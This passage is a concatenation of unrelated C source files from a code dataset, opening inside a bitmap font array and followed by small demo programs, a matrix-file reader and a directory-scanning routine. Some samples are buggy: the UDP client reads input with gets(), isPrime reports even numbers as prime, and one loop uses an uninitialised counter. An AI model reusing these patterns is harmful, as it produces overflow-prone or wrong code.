0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b11110111,
0b00000000,
0b11110111,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11111111,
0b00000000,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b00000000,
0b11111111,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00011111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00011111,
0b00010000,
0b00011111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011111,
0b00010000,
0b00011111,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011111,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b11110111,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010100,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11111111,
0b00010000,
0b11111111,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11110000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00011111,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b00010000,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b11110000,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b00001111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b11111111,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
0b00000000,
};
|
the_stack_data/215767885.c | #include <stdio.h>
#include <omp.h>
int counter = 0;
#pragma omp threadprivate(counter)
int increment_counter(){
return ++counter;
}
int main(){
#pragma omp parallel
{
int id = omp_get_thread_num();
counter = increment_counter();
}
printf("%d\n", counter);
}
|
the_stack_data/18376.c | struct t {
int val;
struct t *ptr;
};
const int size = 10000;
int main() {
struct t test;
test.val = size;
test.ptr = &test;
int sum = 0;
while (test.val) {
sum++;
test.val--;
test.ptr = test.ptr->ptr;
}
return sum / size;
}
|
the_stack_data/137181.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
// To Optimize
// - read in blocks rather than intergers
// To add
// - add big endianness compatability
__inline int read_int(FILE* ptr){
int n;
unsigned char c[4];
// Read and convert assuming small endian
fread(c, sizeof(int), 1, ptr);
n = (int)c[0] + ((int)c[1] << 8) + ((int)c[2]<<16) + ((int)c[3]<<24);
return n;
}
__inline double read_double(FILE* ptr){
double val;
char str[8];
fread(str, sizeof(double), 1, ptr);
memcpy(&val, str, sizeof(double));
return val;
}
// returns an interger from a position along a char array
__inline int read_int_raw(char **c, int e){
// Assuming small endian
int n;
memcpy(&n, (*c) + e, sizeof(int));
return n;
}
// returns a double from a position along a char array
__inline double read_double_raw(char **c, int e){
double val;
memcpy(&val, (*c) + e, sizeof(double));
return val;
}
// index sorting
int *array;
int cmp(const void *a, const void *b){
int ia = *(int *)a;
int ib = *(int *)b;
return array[ia] < array[ib] ? -1 : array[ia] > array[ib];
}
// Make index array
void make_index(int **idx, int size){
int i;
*idx = (int*)malloc(size * sizeof(int));
for(i=0; i<size; i++){
(*idx)[i] = i;
}
}
// populate isfree array
int pop_isfree(FILE* ptr, int ptrDOF, int nNodes, int **isfree){
int val, i;
int nfree = 0;
for (i = 0; i<nNodes*3; i += 1){
val = read_int(ptr);
if (val > 0){
(*isfree)[i] = 1;
++nfree;
}
else{
(*isfree)[i] = 0;
}
}
return nfree;
}
//=============================================================================
// Read an array from fortran file
//=============================================================================
int read_array(int **rows, int **cols, double **data, int *rref, int *cref,
int *isfree, int nterm, int neqn, FILE* ptr, int fileloc,
int *skipped){
// Max array size
int i, j, val;
int e = 0;
int nitems, row, col;
double vald;
int c = 0;
int d = 0;
int inval = 0;
int val2, vald2;
// Read entire matrix to memory
int nread = neqn*24 + nterm*12;
char *raw = (char*)malloc(nread*sizeof(char));
fseek(ptr, (fileloc)*4, SEEK_SET);
fread(raw, sizeof(char), nread, ptr);
for (i = 0; i<neqn; ++i){
nitems = read_int_raw(&raw, e); e += 4;
if (isfree[i]){
e += 4;
col = cref[i];
// Read rows and assemble symmetric matrix (skip last item)
for (j = 0; j < nitems - 1; j += 1){
val = read_int_raw(&raw, e); e += 4;
row = rref[val];
// check if this value refers to a invalid node
if (row == -1){
skipped[j] = 1;
++inval;
continue;
}
else{
skipped[j] = 0;
}
// Write entire matrix
(*rows)[c] = row;
(*cols)[c] = col;
++c;
(*rows)[c] = col;
(*cols)[c] = row;
++c;
}
// Last item is always the diagional, don't bother reading
(*rows)[c] = col;
(*cols)[c] = col;
++c;
// Read data
e += 16;
for (j = 0; j < nitems - 1; ++j){
// Skip if this value has not been stored
if (skipped[j]){
e += 8;
continue;
}
// vald2 = read_double(ptr);
vald = read_double_raw(&raw, e); e += 8;
(*data)[d] = vald;
++d;
// writing symmetric part
(*data)[d] = vald;
++d;
}
// Last item belongs to diagional
vald = read_double_raw(&raw, e); e += 8;
(*data)[d] = vald;
d += 1;
fseek(ptr, 4, SEEK_CUR);
e += 4;
}
// Otherwise, skip this section
else{
fseek(ptr, (3*nitems + 5)*4, SEEK_CUR);
e += (3*nitems + 5)*4;
}
}
// remove loaded file from memory
free(raw);
// Return number of entries in array
return c;
}
// Interface for Cython
int return_fheader(char *filename, int *fheader){
int i;
FILE *ptr;
// open file
ptr = fopen(filename, "rb");
if (ptr == NULL){
printf("File %s does not exist. Terminating\n", filename);
return 1;
}
// Read header and populate fheader array
fseek(ptr, 104*4, SEEK_SET);
for (i=0; i<101; ++i){
fheader[i] = read_int(ptr);
}
// Success
fclose(ptr);
return 0;
}
// Populate external arrays
void read_full(int *numdat, int *nref, int *dref, int *krows, int *kcols,
double *kdata, int *mrows, int *mcols, double *mdata,
int *fheader, char *filename, int *sidx, int sort){
FILE *ptr;
// counters and temp variables
int i, j, c, val, nfree;
// header items
int neqn, wfmax, ntermK, ptrSTF, ptrMAS, nNodes, ntermM, ptrDOF;
// Arrays and mass/stiffness array items
int *skipped, *isfree, *neqv_dof, *index, *cref, *rref;
int kentry, mentry;
// Open result file
ptr = fopen(filename, "rb");
// Get values from header files
// Read Table Matches values from ansys interface guide
neqn = fheader[2]; // Number of equations
wfmax = fheader[6]; // Maximum number of rows in an entry
ntermK = fheader[9]; // number of terms in stiffness matrix
ptrSTF = fheader[19]; // Location of stiffness matrix (item 19)
ptrMAS = fheader[27]; // Location in file to mass matrix
nNodes = fheader[33]; // Number of nodes considered by assembly
ntermM = fheader[34]; // number of terms in mass matrix
ptrDOF = fheader[36]; // pointer to DOF info
// Tracks if an entry has been stored
skipped = (int*)malloc(wfmax*sizeof(int));
//=========================================================================
// Read nodal constraints
//=========================================================================
fseek(ptr, (ptrDOF + 5 + nNodes)*4, SEEK_SET); // skip DOF at each node
isfree = (int*)malloc(nNodes*3*sizeof(int)); // change 3 to numdof
nfree = pop_isfree(ptr, ptrDOF, nNodes, &isfree);
//=============================================================================
// Populate reference arrays
//=============================================================================
//TODO: change 3 to numdof
neqv_dof = (int*)malloc(nNodes*3*sizeof(int));
fseek(ptr, (212 + 2)*4, SEEK_SET);
c = 0;
for (i = 0; i<nNodes; i += 1){
val = read_int(ptr);
for (j = 0; j < 3; j += 1){
if (isfree[i*3 + j]){
neqv_dof[c] = val*3 + j;
nref[c] = val;
dref[c] = j;
++c;
}
}
}
// Sort nodes and generate indices
make_index(&index, nfree);
// Resort index array based on the degree of freedom
if (sort){
array = neqv_dof;
qsort(index, nfree, sizeof(*index), cmp);
}
free(neqv_dof);
// column and row reference arrays
cref = (int*)malloc(neqn * sizeof(int));
rref = (int*)malloc((neqn + 1)* sizeof(int));
c = 0;
for (i = 0; i<neqn; ++i){
if (isfree[i]){
val = index[index[c]]; // zero based indexing
cref[i] = val;
rref[i + 1] = val;
++c;
}
else{
cref[i] = -1;
rref[i + 1] = -1;
}
}
//populate sorting array
if (sort){
for (i=0; i<nfree; ++i){
sidx[i] = index[i];
}
}
free(index);
// Read stiffness matrix into memory
kentry = read_array(&krows, &kcols, &kdata, rref, cref, isfree, ntermK,
neqn, ptr, ptrSTF, skipped);
// Read mass matrix
mentry = read_array(&mrows, &mcols, &mdata, rref, cref, isfree, ntermM,
neqn, ptr, ptrMAS, skipped);
// Populate the array sizes array
numdat[0] = nfree;
numdat[1] = kentry;
numdat[2] = mentry;
// close full file
fclose(ptr);
}
|
the_stack_data/176706984.c | /*
UDP_Client. This Program will implement the Client Side for UDP_Socket Programming.
It will get some data from user and will send to the server and as a reply from the
server, it will get its data back.
*/
#include <stdio.h>
#include <string.h>
#include <sys/socket.h> // Needed for socket creating and binding
#include <arpa/inet.h> //inet_addr
int main(void)
{
int socket_desc;
struct sockaddr_in server_addr;
char server_message[2000], client_message[2000];
int server_struct_length = sizeof(server_addr);
//Cleaning the Buffers
memset(server_message, '\0', sizeof(server_message));
memset(client_message, '\0', sizeof(client_message));
//Creating UDP Socket
socket_desc = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (socket_desc < 0)
{
printf("Could Not Create Socket. Error!!!!!\n");
return -1;
}
printf("Socket Created\n");
//Specifying the IP and Port of the server to connect
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(2000);
server_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // bind your socket to localhost only, if you want connect any particular ip you should mention it in INET_ADDR.
//Get Input from the User
printf("Enter Message: ");
gets(client_message);
//Send the message to Server
if (sendto(socket_desc, client_message, strlen(client_message), 0, (struct sockaddr *)&server_addr, server_struct_length) < 0)
{
printf("Send Failed. Error!!!!\n");
return -1;
}
//Receive the message back from the server
if (recvfrom(socket_desc, server_message, sizeof(server_message), 0, (struct sockaddr *)&server_addr, &server_struct_length) < 0)
{
printf("Receive Failed. Error!!!!!\n");
return -1;
}
printf("Server Message: %s\n", server_message);
memset(server_message, '\0', sizeof(server_message));
memset(client_message, '\0', sizeof(client_message));
//Closing the Socket
close(socket_desc);
return 0;
}
|
the_stack_data/14200418.c | int main() {
int x = 47; // REGEX-THIS
return x;
}
|
the_stack_data/248579581.c | #include<stdio.h>
#include<string.h>
int main()
{
char num[1000000];
int len,i,n,a,k;
while(scanf("%s", num)==1)
{
if(num[0]=='0')
{
break;
}
else
{
n = 0,a = 0;
len = strlen(num);
for(i=0; i<len; i++)
{
a = a + (num[i]-'0');
}
k = a%9;
if(k==0)
{
printf("9\n");
}
else if (a>=10 && k!=9)
{
n = a - 9 * (a/9);
printf("%d\n", n);
n = 0;
}
else
{
printf("%d\n", a);
a = 0;
}
}
}
return 0;
}
|
the_stack_data/136209.c | /**
@author Graeme Douglas
@brief
@details
@copyright Copyright 2013 Graeme Douglas
@license Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
@par
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
either express or implied. See the License for the specific
language governing permissions and limitations under the
License.
*/
void runAllTests_dbparseexpr();
int main(void)
{
runAllTests_dbparseexpr();
return 0;
}
|
the_stack_data/842.c | #include <stdio.h>
#define PAGELEN 24
#define LINELEN 512
void do_more(FILE *);
int see_more();
int main(int ac, char *av[]) {
FILE *fp;
if (ac == 1)
do_more(stdin);
else {
while (--ac) {
if ((fp = fopen(*++av, "r")) != NULL) {
do_more(fp);
fclose(fp);
} else
exit(1);
}
}
return 0;
}
/**
* read PAGELEN lines, then call see_more() for further instructions
*
* */
void do_more(FILE *fp) {
char line[LINELEN];
int num_of_lines = 0;
int reply;
while (fgets(line, LINELEN, fp)) {
if (num_of_lines == PAGELEN) {
reply = see_more();
if (reply == 0) break;
num_of_lines -= reply;
}
if (fputs(line, stdout) == EOF) exit(1);
num_of_lines++;
}
}
/**
* print message, wait for response, return # of lines to advance q means
* no, space means yes, CR means one line
*
* */
int see_more() {
int c;
printf("\033[7m more? \033[m"); // reverse on a vt100
while ((c = getchar()) != EOF) { // get cmd
if (c == 'q') return 0; // exit
if (c == ' ') return PAGELEN; // next page
if (c == '\n') return 1; // next line
}
return 0;
}
|
the_stack_data/70934.c | // ζΎη€Ίζ ΌεΌεε符串η¨ζ³ηη¨εΊ
#include <stdio.h>
int main(void){
char c = 'X';
char s[] = "abcdefghijkmnopqrstuvwxyz";
int i = 425;
short int j = 17;
unsigned int u = 0xf179U;
long int l = 75000L;
long long int L = 0x1234567812345678LL;
float f = 12.978F;
double d = -97.4583;
char *cp = &c;
int *ip = &i;
int c1, c2;
printf("Integers:\n");
printf("%i %o %x %u\n", i, i, i, i); // 425 651 1a9 425
printf("%x %x %#x %#X\n", i, i, i, i); // 1a9 1A9 0x1a9 0X1A9
printf("%+i % i %07i %.7i\n", i, i, i, i); // +425 425 0000425 0000425
printf("%i %o %x %u\n", j, j, j, j); // 17 21 11 17
printf("%i %o %x %u\n", u, u, u, u); // 61817 170571 f179 61817
printf("%ld %lo %lx %lu\n", l, l, l, l); // 75000 222370 124f8 75000
printf("%lli %llo %llx %llu\n", L, L, L, L);
// 1311768465173141112 110642547402215053170 1234567812345678 1311768465173141112
printf("\nFloats and Doubles:\n");
printf("%f %e %g\n", f, f, f); // 12.978000 1.297800e+001 12.978
printf("%.2f %.2e\n", f, f); // 12.98 1.30e+01
printf("%.0f %.0e\n", f, f); // 13 1e+01
printf("%7.2f %7.2e\n", f, f); // 12.98 1.30e+01
printf("%f %e %g\n", d, d, d); // -97.458300 -97.45830e+01 -97.4583
printf("%.*f\n", 3, d); // -97.458
printf("%*.*f\n", 8, 2, d); // -97.46
printf("\nCharacters:\n");
printf("%c\n", c); // X
printf("%3c%3c\n", c, c); // X X
printf("%x\n", c); // 58
printf("\nStrings:\n");
printf("%s\n", s); // abcdefghijkmnopqrstuvwxyz
printf("%.5s\n", s); // abcde
printf("%30s\n", s); // abcdefghijkmnopqrstuvwxyz
printf("%20.5s\n", s); // abcde
printf("%-20.5s\n", s); // abcde
printf("\nPointers:\n");
printf("%p %p\n\n", ip, cp); // 0028FEF0 0028FF0F
printf("This%n is fun.%n\n", &c1, &c2);
printf("c1 = %i, c2 = %i\n", c1, c2); // 4 12
return 0;
}
|
the_stack_data/28262444.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
/*
* Adapted from http://www.sanfoundry.com/c-programming-examples-arrays/
* C Program to Increment every Element of the Array by one & Print Incremented Array
*/
#define SIZE 175
void incrementArray(int src[SIZE] , int dst[SIZE])
{
int i;
for (i = 0; i < SIZE; i++) {
dst[i] = src[i]+1; // this alters values in array in main()
}
}
int main()
{
int src[SIZE];
int dst[SIZE];
incrementArray( src , dst );
int x;
for ( x = 0 ; x < SIZE ; x++ ) {
src[ x ] = dst[ x ]-1;
}
return 0;
}
|
the_stack_data/1227731.c | #include<stdio.h>
void swap(int* a, int* b){
int temp = *a;
*a = *b;
*b = temp;
}
void swapArr(int a[], int b[], int n){
for (int i = 0; i < n; i++)
{
swap(&a[i], &b[i]);
}
}
int main(){
int d = 3, j = -23;
printf("Vars before swap d=%d j=%d \n", d, j);
swap(&d, &j);
printf("Vars after swap d=%d j=%d \n", d, j);
int n;
printf("Enter no of elements in the arrays:\n");
scanf("%d", &n);
int arr1[n], arr2[n];
for (int i = 0; i < n; i++){
scanf("%d", &arr1[i]);
}
for (int i = 0; i < n; i++){
scanf("%d", &arr2[i]);
}
swapArr(arr1, arr2, n);
printf("Arrays after swapping\n");
for (int i = 0; i < n; i++){
printf("%d ", arr1[i]);
}printf("\n");
for (int i = 0; i < n; i++){
printf("%d ", arr2[i]);
}printf("\n");
return 0;
} |
the_stack_data/98574473.c | /*
Author : Arnob Mahmud
mail : [email protected]
*/
#include <stdio.h>
int main(int argc, char const *argv[])
{
int i;
do
{
printf("%d\n", i);
i++;
} while (i <= 10);
return 0;
}
|
the_stack_data/36075204.c |
#include <stdio.h>
void scilab_rt_champ_d2d2d2d2i0i2_(int in00, int in01, double matrixin0[in00][in01],
int in10, int in11, double matrixin1[in10][in11],
int in20, int in21, double matrixin2[in20][in21],
int in30, int in31, double matrixin3[in30][in31],
int scalarin0,
int in40, int in41, int matrixin4[in40][in41])
{
int i;
int j;
double val0 = 0;
double val1 = 0;
double val2 = 0;
double val3 = 0;
int val4 = 0;
for (i = 0; i < in00; ++i) {
for (j = 0; j < in01; ++j) {
val0 += matrixin0[i][j];
}
}
printf("%f", val0);
for (i = 0; i < in10; ++i) {
for (j = 0; j < in11; ++j) {
val1 += matrixin1[i][j];
}
}
printf("%f", val1);
for (i = 0; i < in20; ++i) {
for (j = 0; j < in21; ++j) {
val2 += matrixin2[i][j];
}
}
printf("%f", val2);
for (i = 0; i < in30; ++i) {
for (j = 0; j < in31; ++j) {
val3 += matrixin3[i][j];
}
}
printf("%f", val3);
printf("%d", scalarin0);
for (i = 0; i < in40; ++i) {
for (j = 0; j < in41; ++j) {
val4 += matrixin4[i][j];
}
}
printf("%d", val4);
}
|
the_stack_data/1200077.c | // Primes from 0-100k in 4.15 seconds on an Intel i7-6700 (8) @ 4.000GHz
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
bool isPrime(uint64_t n) {
if (n == 1 || n == 2) {
return true;
}
for (uint64_t i = 3; i < n; i++) {
if (n % i == 0) {
return false;
}
}
return true;
}
int main() {
const uint32_t upto = 100000;
for (uint64_t i = 1; i <= upto; i++) {
if (isPrime(i)) {
printf("%d\n", i);
}
}
return 0;
}
|
the_stack_data/218893738.c | int main() {
int i = 0;
int c = 0;
while (i < 20) {
i++;
if (i <= 10) continue;
c++;
}
return c;
}
|
the_stack_data/113957.c | /*
* Copyright (c) 2013, 2014 Jonas 'Sortie' Termansen.
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
* dirent/dscandir_r.c
* Filtered and sorted directory reading.
*/
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
int dscandir_r(DIR* dir,
struct dirent*** namelist_ptr,
int (*filter)(const struct dirent*, void*),
void* filter_ctx,
int (*compare)(const struct dirent**, const struct dirent**, void*),
void* compare_ctx)
{
rewinddir(dir);
size_t namelist_used = 0;
size_t namelist_length = 0;
struct dirent** namelist = NULL;
if ( false )
{
out_error:
for ( size_t i = 0; i < namelist_used; i++ )
free(namelist[i]);
free(namelist);
return errno = EOVERFLOW, -1;
}
struct dirent* entry;
while ( (entry = readdir(dir)) )
{
if ( filter && !filter(entry, filter_ctx) )
continue;
if ( (size_t) INT_MAX <= namelist_used )
goto out_error;
if ( namelist_used == namelist_length )
{
size_t new_length = namelist_length ? 2 * namelist_length : 8;
size_t new_size = new_length * sizeof(struct dirent*);
struct dirent** list = (struct dirent**) realloc(namelist, new_size);
if ( !list )
goto out_error;
namelist = list;
namelist_length = new_length;
}
size_t name_length = strlen(entry->d_name);
size_t dirent_size = sizeof(struct dirent) + name_length + 1;
struct dirent* dirent = (struct dirent*) malloc(dirent_size);
if ( !dirent )
goto out_error;
memcpy(dirent, entry, sizeof(*entry));
strcpy(dirent->d_name, entry->d_name);
namelist[namelist_used++] = dirent;
}
if ( compare )
qsort_r(namelist, namelist_used, sizeof(struct dirent*),
(int (*)(const void*, const void*, void*)) compare, compare_ctx);
return *namelist_ptr = namelist, (int) namelist_used;
}
|
